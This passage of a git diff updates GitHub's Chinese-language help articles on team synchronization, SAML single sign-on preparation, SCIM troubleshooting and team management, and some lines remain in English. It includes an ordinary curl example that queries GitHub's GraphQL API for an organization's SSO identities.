 {% data reusables.identity-and-permissions.enable-team-sync-azure %}
 {% data reusables.identity-and-permissions.team-sync-confirm %}
-6. Review the identity provider tenant information you want to connect to your organization, then click **Approve**.
-  ![Pending request to enable team synchronization to a specific IdP tenant with option to approve or cancel request](/assets/images/help/teams/approve-team-synchronization.png)
+6. 查看要与组织连接的身份提供程序租户信息，然后单击 **Approve（批准）**。 ![启用特定 IdP 租户团队同步且含有批准或取消请求选项的待处理请求](/assets/images/help/teams/approve-team-synchronization.png)
 
-### Enabling team synchronization for Okta
+### 为 Okta 启用团队同步
 
 Okta team synchronization requires that SAML and SCIM with Okta have already been set up for your organization.
 
-To avoid potential team synchronization errors with Okta, we recommend that you confirm that SCIM linked identities are correctly set up for all organization members who are members of your chosen Okta groups, before enabling team synchronization on {% data variables.product.prodname_dotcom %}. 
+To avoid potential team synchronization errors with Okta, we recommend that you confirm that SCIM linked identities are correctly set up for all organization members who are members of your chosen Okta groups, before enabling team synchronization on {% data variables.product.prodname_dotcom %}.
 
 If an organization member does not have a linked SCIM identity, then team synchronization will not work as expected and the user may not be added or removed from teams as expected. If any of these users are missing a SCIM linked identity, you will need to reprovision them.
 
@@ -76,19 +75,16 @@ For help on provisioning users that have missing a missing SCIM linked identity,
 {% data reusables.organizations.security %}
 {% data reusables.identity-and-permissions.team-sync-confirm-saml %}
 {% data reusables.identity-and-permissions.team-sync-confirm-scim %}
-1. Consider enforcing SAML in your organization to ensure that organization members link their SAML and SCIM identities. For more information, see "[Enforcing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)."
+1. Consider enforcing SAML in your organization to ensure that organization members link their SAML and SCIM identities. 更多信息请参阅“[对组织实施 SAML 单点登录](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)”。
 {% data reusables.identity-and-permissions.enable-team-sync-okta %}
-7. Under your organization's name, type a valid SSWS token and the URL to your Okta instance.
-  ![Enable team synchronization Okta organization form](/assets/images/help/teams/confirm-team-synchronization-okta-organization.png)
-6. Review the identity provider tenant information you want to connect to your organization, then click **Create**.
-  ![Enable team synchronization create button](/assets/images/help/teams/confirm-team-synchronization-okta.png)
+7. 在组织名称下，输入有效的 SSWS 令牌和 Okta 实例的 URL。 ![启用团队同步 Okta 组织表单](/assets/images/help/teams/confirm-team-synchronization-okta-organization.png)
+6. 查看要与组织连接的身份提供程序租户信息，然后单击 **Create（创建）**。 ![启用团队同步创建按钮](/assets/images/help/teams/confirm-team-synchronization-okta.png)
 
-## Disabling team synchronization
+## 禁用团队同步
 
 {% data reusables.identity-and-permissions.team-sync-disable %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security %}
-5. Under "Team synchronization", click **Disable team synchronization**.
-  ![Disable team synchronization](/assets/images/help/teams/disable-team-synchronization.png)
+5. 在“Team synchronization（团队同步）”下，单击 **Disable team synchronization（禁用团队同步）**。 ![禁用团队同步](/assets/images/help/teams/disable-team-synchronization.png)
diff --git a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md
index 8af5f30451..188901baca 100644
--- a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md
+++ b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Preparing to enforce SAML single sign-on in your organization
-intro: 'Before you enforce SAML single sign-on in your organization, you should verify your organization''s membership and configure the connection settings to your identity provider.'
+title: 准备在组织中实施 SAML 单点登录
+intro: 在组织中实施 SAML 单点登录之前，应验证组织的成员资格，并配置到身份提供程序的连接设置。
 redirect_from:
   - /articles/preparing-to-enforce-saml-single-sign-on-in-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/preparing-to-enforce-saml-single-sign-on-in-your-organization
@@ -9,17 +9,17 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Prepare to enforce SAML SSO
+shortTitle: 准备执行 SAML SSO
 ---
 
-{% data reusables.saml.when-you-enforce %} Before enforcing SAML SSO in your organization, you should review organization membership, enable SAML SSO, and review organization members' SAML access. For more information, see the following.
+{% data reusables.saml.when-you-enforce %} 在组织中执行 SAML SSO 之前，您应该审核组织成员资格，启用 SAML SSO，并审核组织成员的 SAML 访问权限。 更多信息请参阅以下文章。
 
-| Task | More information |
-| :- | :- |
-| Add or remove members from your organization | <ul><li>"[Inviting users to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)"</li><li>"[Removing a member from your organization](/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization)"</li></ul> |
-| Connect your IdP to your organization by enabling SAML SSO | <ul><li>"[Connecting your identity provider to your organization](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)"</li><li>"[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)"</li></ul> |
-| Ensure that your organization members have signed in and linked their accounts with the IdP | <ul><li>"[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)"</li></ul> |
+| 任务                       | 更多信息                      |
+|:------------------------ |:------------------------- |
+| 在组织中添加或删除成员              | <ul><li>"[I邀请用户加入您的组织](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)"</li><li>"[从组织中删除成员](/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization)"</li></ul> |
+| 启用 SAML SSO 以将 IdP 连接到组织 | <ul><li>"[将身份提供商连接到组织](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)"</li><li>"[对组织启用和测试 SAML 单点登录](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)"</li></ul> |
+| 确保组织成员已登录并且将其帐户与 IdP 链接。 | <ul><li>"[查看和管理成员对组织的 SAML 访问](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)"</li></ul> |
 
-After you finish these tasks, you can enforce SAML SSO for your organization. For more information, see "[Enforcing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)."
+完成这些任务后，便可为您的组织执行 SAML SSO。 更多信息请参阅“[对组织实施 SAML 单点登录](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)”。
 
 {% data reusables.saml.outside-collaborators-exemption %}
diff --git a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md
index 5e33eb9458..fada86ae1f 100644
--- a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md
+++ b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md
@@ -21,7 +21,7 @@ To check whether users have a SCIM identity (SCIM metadata) in their external id
 
 #### Auditing organization members on {% data variables.product.prodname_dotcom %}
 
-As an organization owner, to confirm that SCIM metadata exists for a single organization member, visit this URL, replacing `<organization>` and `<username>`: 
+As an organization owner, to confirm that SCIM metadata exists for a single organization member, visit this URL, replacing `<organization>` and `<username>`:
 
 > `https://github.com/orgs/<organization>/people/<username>/sso`
 
@@ -29,19 +29,19 @@ If the user's external identity includes SCIM metadata, the organization owner s
 
 #### Auditing organization members through the {% data variables.product.prodname_dotcom %} API
 
-As an organization owner, you can also query the SCIM REST API or GraphQL to list all SCIM provisioned identities in an organization. 
+As an organization owner, you can also query the SCIM REST API or GraphQL to list all SCIM provisioned identities in an organization.
 
-#### Using the REST API
+#### 使用 REST API
 
 The SCIM REST API will only return data for users that have SCIM metadata populated under their external identities. We recommend you compare a list of SCIM provisioned identities with a list of all your organization members.
 
-For more information, see:
+更多信息请参阅：
   - "[List SCIM provisioned identities](/rest/reference/scim#list-scim-provisioned-identities)"
   - "[List organization members](/rest/reference/orgs#list-organization-members)"
 
 #### Using GraphQL
 
-This GraphQL query shows you the SAML `NameId`, the SCIM `UserName` and the {% data variables.product.prodname_dotcom %} username (`login`) for each user in the organization. To use this query, replace `ORG` with your organization name. 
+This GraphQL query shows you the SAML `NameId`, the SCIM `UserName` and the {% data variables.product.prodname_dotcom %} username (`login`) for each user in the organization. To use this query, replace `ORG` with your organization name.
 
 ```graphql
 {
@@ -72,7 +72,7 @@ This GraphQL query shows you the SAML `NameId`, the SCIM `UserName` and the {% d
 curl -X POST -H "Authorization: Bearer <personal access token>" -H "Content-Type: application/json" -d '{ "query": "{ organization(login: \"ORG\") { samlIdentityProvider { externalIdentities(first: 100) { pageInfo { endCursor startCursor hasNextPage } edges { cursor node { samlIdentity { nameId } scimIdentity {username}  user { login } } } } } } }" }'  https://api.github.com/graphql
 ```
 
-For more information on using the GraphQL API, see: 
+For more information on using the GraphQL API, see:
    - "[GraphQL guides](/graphql/guides)"
    - "[GraphQL explorer](/graphql/overview/explorer)"
 
@@ -82,4 +82,4 @@ You can re-provision SCIM for users manually through your IdP. For example, to r
 
 To confirm that a user's SCIM identity is created, we recommend testing this process with a single organization member whom you have confirmed doesn't have a SCIM external identity. After manually updating the users in your IdP, you can check if the user's SCIM identity was created using the SCIM API or on {% data variables.product.prodname_dotcom %}. For more information, see "[Auditing users for missing SCIM metadata](#auditing-users-for-missing-scim-metadata)" or the REST API endpoint "[Get SCIM provisioning information for a user](/rest/reference/scim#get-scim-provisioning-information-for-a-user)."
 
-If re-provisioning SCIM for users doesn't help, please contact {% data variables.product.prodname_dotcom %} Support.
\ No newline at end of file
+If re-provisioning SCIM for users doesn't help, please contact {% data variables.product.prodname_dotcom %} Support.
diff --git a/translations/zh-CN/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md b/translations/zh-CN/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md
index 02f92675b7..5195b3a9cb 100644
--- a/translations/zh-CN/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md
+++ b/translations/zh-CN/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md
@@ -1,6 +1,6 @@
 ---
-title: Converting an admin team to improved organization permissions
-intro: 'If your organization was created after September 2015, your organization has improved organization permissions by default. Organizations created before September 2015 may need to migrate older Owners and Admin teams to the improved permissions model. Members of legacy admin teams automatically retain the ability to create repositories until those teams are migrated to the improved organization permissions model.'
+title: 将管理员团队转换为改进的组织权限
+intro: 如果您的组织是在 2015 年 9 月之后创建的，则您的组织默认具有改进的组织权限。 在 2015 年 9 月之前创建的组织可能需要将较旧的所有者和管理员团队迁移到改进的权限模型。 旧管理员团队的成员在其团队被迁移到改进的组织权限模型之前，自动保留创建仓库的权限。
 redirect_from:
   - /articles/converting-your-previous-admin-team-to-the-improved-organization-permissions
   - /articles/converting-an-admin-team-to-improved-organization-permissions
@@ -12,23 +12,23 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Convert admin team
+shortTitle: 转换管理员团队
 ---
 
-You can remove the ability for members of legacy admin teams to create repositories by creating a new team for these members, ensuring that the team has necessary access to the organization's repositories, then deleting the legacy admin team.
+要删除旧管理员团队成员创建仓库的权限，请为这些成员创建新团队，确保该团队对组织仓库具有必要的权限，然后删除旧管理员团队。
 
 For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
 
 {% warning %}
 
-**Warnings:**
-- If there are members of your legacy Admin team who are not members of other teams, deleting the team will remove those members from the organization. Before deleting the team, ensure members are already direct members of the organization, or have collaborator access to necessary repositories.
-- To prevent the loss of private forks made by members of the legacy Admin team, you must follow steps 1-3 below before deleting the legacy Admin team.
-- Because "admin" is a term for organization members with specific [access to certain repositories](/articles/repository-permission-levels-for-an-organization) in the organization, we recommend you avoid that term in any team name you decide on.
+**警告：**
+- 如果旧管理员团队中有成员不是其他团队的成员，则删除该团队将导致从组织中删除这些成员。 在删除该团队之前，请确保其成员已经是组织的直接成员，或者具有对必要仓库的协作者权限。
+- 为防止丢失旧管理员团队成员创建的私有复刻，在删除旧管理员团队之前必须完成下面的步骤 1-3。
+- 由于“管理员”是用于[对某些仓库具有特定权限](/articles/repository-permission-levels-for-an-organization)的组织成员的术语，因此我们建议在您决定的任何团队名称中避免使用该术语。
 
 {% endwarning %}
 
-1. [Create a new team](/articles/creating-a-team).
-2. [Add each of the members](/articles/adding-organization-members-to-a-team) of your legacy admin team to the new team.
-3. [Give the new team equivalent access](/articles/managing-team-access-to-an-organization-repository) to each of the repositories the legacy team could access.
-4. [Delete the legacy admin team](/articles/deleting-a-team).
+1. [创建新团队](/articles/creating-a-team)。
+2. [将旧管理员团队的每个成员添加](/articles/adding-organization-members-to-a-team)到新团队。
+3. 对于旧团队可访问的每个仓库，[为新团队提供同等的访问权限](/articles/managing-team-access-to-an-organization-repository) 。
+4. [删除旧管理员团队](/articles/deleting-a-team)。
diff --git a/translations/zh-CN/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md b/translations/zh-CN/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md
index 2d483eed91..687a4476be 100644
--- a/translations/zh-CN/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md
+++ b/translations/zh-CN/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md
@@ -1,6 +1,6 @@
 ---
-title: Converting an Owners team to improved organization permissions
-intro: 'If your organization was created after September 2015, your organization has improved organization permissions by default. Organizations created before September 2015 may need to migrate older Owners and Admin teams to the improved permissions model. The "Owner" is now an administrative role given to individual members of your organization. Members of your legacy Owners team are automatically given owner privileges.'
+title: 将所有者团队转换为改进的组织权限
+intro: 如果您的组织是在 2015 年 9 月之后创建的，则您的组织默认具有改进的组织权限。 在 2015 年 9 月之前创建的组织可能需要将较旧的所有者和管理员团队迁移到改进的权限模型。 “所有者”现在是赋予组织中个别成员的管理角色。 旧所有者团队的成员自动获得所有者权限。
 redirect_from:
   - /articles/converting-your-previous-owners-team-to-the-improved-organization-permissions-early-access-program
   - /articles/converting-your-previous-owners-team-to-the-improved-organization-permissions
@@ -13,19 +13,19 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Convert Owners team
+shortTitle: 转换所有者团队
 ---
 
-You have a few options to convert your legacy Owners team:
+您可以通过几种方式转换旧所有者团队：
 
-- Give the team a new name that denotes the members have a special status in the organization.
-- Delete the team after ensuring all members have been added to teams that grant necessary access to the organization's repositories.
+- 给团队一个新名称以表明其成员在组织中具有特殊地位。
+- 在确保所有成员已被添加到对组织仓库具有必要权限的其他团队后，删除该团队。
 
-## Give the Owners team a new name
+## 给所有者团队一个新名称
 
 {% tip %}
 
-   **Note:** Because "admin" is a term for organization members with specific [access to certain repositories](/articles/repository-permission-levels-for-an-organization) in the organization, we recommend you avoid that term in any team name you decide on.
+   **注：**由于“管理员”是用于[对某些仓库具有特定权限](/articles/repository-permission-levels-for-an-organization)的组织成员的术语，因此我们建议在您决定的任何团队名称中避免使用该术语。
 
 {% endtip %}
 
@@ -33,19 +33,17 @@ You have a few options to convert your legacy Owners team:
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.owners-team %}
 {% data reusables.organizations.convert-owners-team-confirm %}
-5. In the team name field, choose a new name for the Owners team. For example:
-    - If very few members of your organization were members of the Owners team, you might name the team "Core".
-    - If all members of your organization were members of the Owners team so that they could [@mention teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams), you might name the team "Employees".
-  ![The team name field, with the Owners team renamed to Core](/assets/images/help/teams/owners-team-new-name.png)
-6. Under the team description, click **Save and continue**.
-![The Save and continue button](/assets/images/help/teams/owners-team-save-and-continue.png)
-7. Optionally, [make the team *public*](/articles/changing-team-visibility).
+5. 在团队名称字段中，为所有者团队选择一个新名称。 例如：
+    - 如果组织中只有极少数成员是所有者团队的成员，您可以将该团队命名为“核心”。
+    - 如果组织中的所有成员都是所有者团队的成员（以便他们能够 [@提及团队](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)），您可以将该团队命名为“员工”。 ![在团队名称字段将所有者团队重命名为核心](/assets/images/help/teams/owners-team-new-name.png)
+6. 在团队说明下，单击 **Save and continue（保存并继续）**。 ![保存并继续按钮](/assets/images/help/teams/owners-team-save-and-continue.png)
+7. （可选）[让团队*公开*](/articles/changing-team-visibility)。
 
-## Delete the legacy Owners team
+## 删除旧所有者团队
 
 {% warning %}
 
-**Warning:** If there are members of your Owners team who are not members of other teams, deleting the team will remove those members from the organization. Before deleting the team, ensure members are already direct members of the organization, or have collaborator access to necessary repositories.
+**警告：**如果所有者团队中有成员不是其他团队的成员，则删除该团队将导致从组织中删除这些成员。 在删除该团队之前，请确保其成员已经是组织的直接成员，或者具有对必要仓库的协作者权限。
 
 {% endwarning %}
 
@@ -53,5 +51,4 @@ You have a few options to convert your legacy Owners team:
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.owners-team %}
 {% data reusables.organizations.convert-owners-team-confirm %}
-5. At the bottom of the page, review the warning and click **Delete the Owners team**.
-  ![Link for deleting the Owners team](/assets/images/help/teams/owners-team-delete.png)
+5. 在页面底部，查看警告，然后单击 **Delete the Owners team（删除所有者团队）**。 ![删除所有者团队的链接](/assets/images/help/teams/owners-team-delete.png)
diff --git a/translations/zh-CN/content/organizations/migrating-to-improved-organization-permissions/index.md b/translations/zh-CN/content/organizations/migrating-to-improved-organization-permissions/index.md
index 510cc6c4d7..699507fd70 100644
--- a/translations/zh-CN/content/organizations/migrating-to-improved-organization-permissions/index.md
+++ b/translations/zh-CN/content/organizations/migrating-to-improved-organization-permissions/index.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating to improved organization permissions
-intro: 'If your organization was created after September 2015, your organization includes improved organization permissions by default. Organizations created before September 2015 may need to migrate older Owners and Admin teams to the improved organization permissions model.'
+title: 迁移到改进的组织权限
+intro: 如果您的组织是在 2015 年 9 月之后创建的，则您的组织默认包括改进的组织权限。 在 2015 年 9 月之前创建的组织可能需要将较旧的所有者和管理员团队迁移到改进的组织权限模型。
 redirect_from:
   - /articles/improved-organization-permissions
   - /articles/github-direct-organization-membership-pre-release-guide
@@ -18,6 +18,6 @@ children:
   - /converting-an-owners-team-to-improved-organization-permissions
   - /converting-an-admin-team-to-improved-organization-permissions
   - /migrating-admin-teams-to-improved-organization-permissions
-shortTitle: Migrate to improved permissions
+shortTitle: 迁移到改进的权限
 ---
 
diff --git a/translations/zh-CN/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md b/translations/zh-CN/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md
index e5965cfefd..c36b84a842 100644
--- a/translations/zh-CN/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md
+++ b/translations/zh-CN/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating admin teams to improved organization permissions
-intro: 'If your organization was created after September 2015, your organization has improved organization permissions by default. Organizations created before September 2015 may need to migrate older Owners and Admin teams to the improved permissions model. Members of legacy admin teams automatically retain the ability to create repositories until those teams are migrated to the improved organization permissions model.'
+title: 将管理团队迁移到改进的组织权限
+intro: 如果您的组织是在 2015 年 9 月之后创建的，则您的组织默认具有改进的组织权限。 在 2015 年 9 月之前创建的组织可能需要将较旧的所有者和管理员团队迁移到改进的权限模型。 旧管理员团队的成员在其团队被迁移到改进的组织权限模型之前，自动保留创建仓库的权限。
 redirect_from:
   - /articles/migrating-your-previous-admin-teams-to-the-improved-organization-permissions
   - /articles/migrating-admin-teams-to-improved-organization-permissions
@@ -12,37 +12,34 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Migrate admin team
+shortTitle: 迁移管理团队
 ---
 
-By default, all organization members can create repositories. If you restrict [repository creation permissions](/articles/restricting-repository-creation-in-your-organization) to organization owners, and your organization was created under the legacy organization permissions structure, members of legacy admin teams will still be able to create repositories.
+默认情况下，所有组织成员都可以创建仓库。 如果将[仓库创建权限](/articles/restricting-repository-creation-in-your-organization)限于组织所有者，并且您的组织已在旧组织权限结构下创建，则旧管理员团队的成员仍可创建仓库。
 
-Legacy admin teams are teams that were created with the admin permission level under the legacy organization permissions structure. Members of these teams were able to create repositories for the organization, and we've preserved this ability in the improved organization permissions structure.
+旧管理员团队是在旧组织权限结构下使用管理员权限级别创建的团队。 这些团队成员可以为组织创建仓库，我们在改进的组织权限结构中保留了这种能力。
 
-You can remove this ability by migrating your legacy admin teams to the improved organization permissions.
+您可以将旧管理员团队迁移到改进的组织权限，以删除此能力。
 
 For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
 
 {% warning %}
 
-**Warning:** If your organization has disabled [repository creation permissions](/articles/restricting-repository-creation-in-your-organization) for all members, some members of legacy admin teams may lose repository creation permissions. If your organization has enabled member repository creation, migrating legacy admin teams to improved organization permissions will not affect team members' ability to create repositories.
+**警告：**如果您的组织对所有成员禁用了[仓库创建权限](/articles/restricting-repository-creation-in-your-organization)，则旧管理员团队的有些成员可能会失去仓库创建权限。 如果组织启用了成员仓库创建，则将旧管理员团队迁移到改进的组织权限不会影响团队成员创建仓库的能力。
 
 {% endwarning %}
 
-## Migrating all of your organization's legacy admin teams
+## 迁移所有组织的旧管理员团队
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.teams_sidebar %}
-1. Review your organization's legacy admin teams, then click **Migrate all teams**.
-  ![Migrate all teams button](/assets/images/help/teams/migrate-all-legacy-admin-teams.png)
-1. Read the information about possible permissions changes for members of these teams, then click **Migrate all teams.**
-  ![Confirm migration button](/assets/images/help/teams/confirm-migrate-all-legacy-admin-teams.png)
+1. 检查组织的旧管理员团队，然后单击 **Migrate all teams（迁移所有团队）**。 ![迁移所有团队按钮](/assets/images/help/teams/migrate-all-legacy-admin-teams.png)
+1. 阅读这些团队成员的可能权限更改的信息，然后单击 **Migrate all teams（迁移所有团队）**。 ![确认迁移按钮](/assets/images/help/teams/confirm-migrate-all-legacy-admin-teams.png)
 
-## Migrating a single admin team
+## 迁移单一管理员团队
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
-1. In the team description box, click **Migrate team**.
-  ![Migrate team button](/assets/images/help/teams/migrate-a-legacy-admin-team.png)
+1. 在团队说明框中，单击 **Migrate team（迁移团队）**。 ![迁移团队按钮](/assets/images/help/teams/migrate-a-legacy-admin-team.png)
diff --git a/translations/zh-CN/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md b/translations/zh-CN/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md
index a6dac889cb..31c60c081b 100644
--- a/translations/zh-CN/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md
+++ b/translations/zh-CN/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md
@@ -1,6 +1,6 @@
 ---
-title: Adding organization members to a team
-intro: 'People with owner or team maintainer permissions can add organization members to teams. People with owner permissions can also {% ifversion fpt or ghec %}invite non-members to join{% else %}add non-members to{% endif %} a team and the organization.'
+title: 添加组织成员到团队
+intro: '拥有所有者或团队维护员权限的人员可以添加成员到团队。 具有所有者权限的人员也可{% ifversion fpt or ghec %}邀请非成员加入{% else %}添加非成员到{% endif %}团队和组织。'
 redirect_from:
   - /articles/adding-organization-members-to-a-team-early-access-program
   - /articles/adding-organization-members-to-a-team
@@ -13,7 +13,7 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Add members to a team
+shortTitle: 将成员添加到团队
 ---
 
 {% data reusables.organizations.team-synchronization %}
@@ -22,14 +22,13 @@ shortTitle: Add members to a team
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_members_tab %}
-6. Above the list of team members, click **Add a member**.
-![Add member button](/assets/images/help/teams/add-member-button.png)
+6. 在团队成员列表上方，单击 **Add a member（添加成员）**。 ![添加成员按钮](/assets/images/help/teams/add-member-button.png)
 {% data reusables.organizations.invite_to_team %}
 {% data reusables.organizations.review-team-repository-access %}
 
 {% ifversion fpt or ghec %}{% data reusables.organizations.cancel_org_invite %}{% endif %}
 
-## Further reading
+## 延伸阅读
 
-- "[About teams](/articles/about-teams)"
-- "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)"
+- "[关于团队](/articles/about-teams)"
+- "[管理团队对组织仓库的访问](/articles/managing-team-access-to-an-organization-repository)"
diff --git a/translations/zh-CN/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md b/translations/zh-CN/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md
index 457c1d5b7f..48ad9abd9b 100644
--- a/translations/zh-CN/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md
+++ b/translations/zh-CN/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md
@@ -1,6 +1,6 @@
 ---
 title: Assigning the team maintainer role to a team member
-intro: 'You can give a team member the ability to manage team membership and settings by assigning the team maintainer role.'
+intro: You can give a team member the ability to manage team membership and settings by assigning the team maintainer role.
 redirect_from:
   - /articles/giving-team-maintainer-permissions-to-an-organization-member-early-access-program
   - /articles/giving-team-maintainer-permissions-to-an-organization-member
@@ -22,21 +22,21 @@ permissions: Organization owners can promote team members to team maintainers.
 
 People with the team maintainer role can manage team membership and settings.
 
-- [Change the team's name and description](/articles/renaming-a-team)
-- [Change the team's visibility](/articles/changing-team-visibility)
-- [Request to add a child team](/articles/requesting-to-add-a-child-team)
-- [Request to add or change a parent team](/articles/requesting-to-add-or-change-a-parent-team)
-- [Set the team profile picture](/articles/setting-your-team-s-profile-picture)
-- [Edit team discussions](/articles/managing-disruptive-comments/#editing-a-comment)
-- [Delete team discussions](/articles/managing-disruptive-comments/#deleting-a-comment)
-- [Add organization members to the team](/articles/adding-organization-members-to-a-team)
-- [Remove organization members from the team](/articles/removing-organization-members-from-a-team)
-- Remove the team's access to repositories{% ifversion fpt or ghes or ghae or ghec %}
-- [Manage code review assignment for the team](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team){% endif %}{% ifversion fpt or ghec %}
-- [Manage scheduled reminders for pull requests](/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team){% endif %}
+- [更改团队名称和描述](/articles/renaming-a-team)
+- [更改团队的可见性](/articles/changing-team-visibility)
+- [申请添加子团队](/articles/requesting-to-add-a-child-team)
+- [申请添加或更改父团队](/articles/requesting-to-add-or-change-a-parent-team)
+- [设置团队头像](/articles/setting-your-team-s-profile-picture)
+- [编辑团队讨论](/articles/managing-disruptive-comments/#editing-a-comment)
+- [删除团队讨论](/articles/managing-disruptive-comments/#deleting-a-comment)
+- [添加组织成员到团队](/articles/adding-organization-members-to-a-team)
+- [从团队中删除组织成员](/articles/removing-organization-members-from-a-team)
+- 删除团队对仓库的访问权限{% ifversion fpt or ghes or ghae or ghec %}
+- [管理团队的代码审查任务](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team){% endif %}{% ifversion fpt or ghec %}
+- [管理拉取请求的预定提醒](/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team){% endif %}
 
 
-## Promoting an organization member to team maintainer
+## 将组织成员升级为团队维护员
 
 Before you can promote an organization member to team maintainer, the person must already be a member of the team.
 
@@ -44,9 +44,6 @@ Before you can promote an organization member to team maintainer, the person mus
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_members_tab %}
-4. Select the person or people you'd like to promote to team maintainer.
-![Check box next to organization member](/assets/images/help/teams/team-member-check-box.png)
-5. Above the list of team members, use the drop-down menu and click **Change role...**.
-![Drop-down menu with option to change role](/assets/images/help/teams/bulk-edit-drop-down.png)
-6. Select a new role and click **Change role**.
-![Radio buttons for Maintainer or Member roles](/assets/images/help/teams/team-role-modal.png)
+4. 选择要将其升级为团队维护员的人员。 ![组织成员旁的复选框](/assets/images/help/teams/team-member-check-box.png)
+5. 在团队成员列表的上方，使用下拉菜单并单击 **Change role...（更改角色...）**。 ![包含更改角色选项的下拉菜单](/assets/images/help/teams/bulk-edit-drop-down.png)
+6. 选择新角色并单击 **Change role（更改角色）**。 ![维护员或成员角色的单选按钮](/assets/images/help/teams/team-role-modal.png)
diff --git a/translations/zh-CN/content/organizations/organizing-members-into-teams/creating-a-team.md b/translations/zh-CN/content/organizations/organizing-members-into-teams/creating-a-team.md
index 7422a82371..dbe245a37d 100644
--- a/translations/zh-CN/content/organizations/organizing-members-into-teams/creating-a-team.md
+++ b/translations/zh-CN/content/organizations/organizing-members-into-teams/creating-a-team.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a team
-intro: You can create independent or nested teams to manage repository permissions and mentions for groups of people.
+title: 创建团队
+intro: 您可以创建独立或嵌套团队来管理仓库权限和提及人群。
 redirect_from:
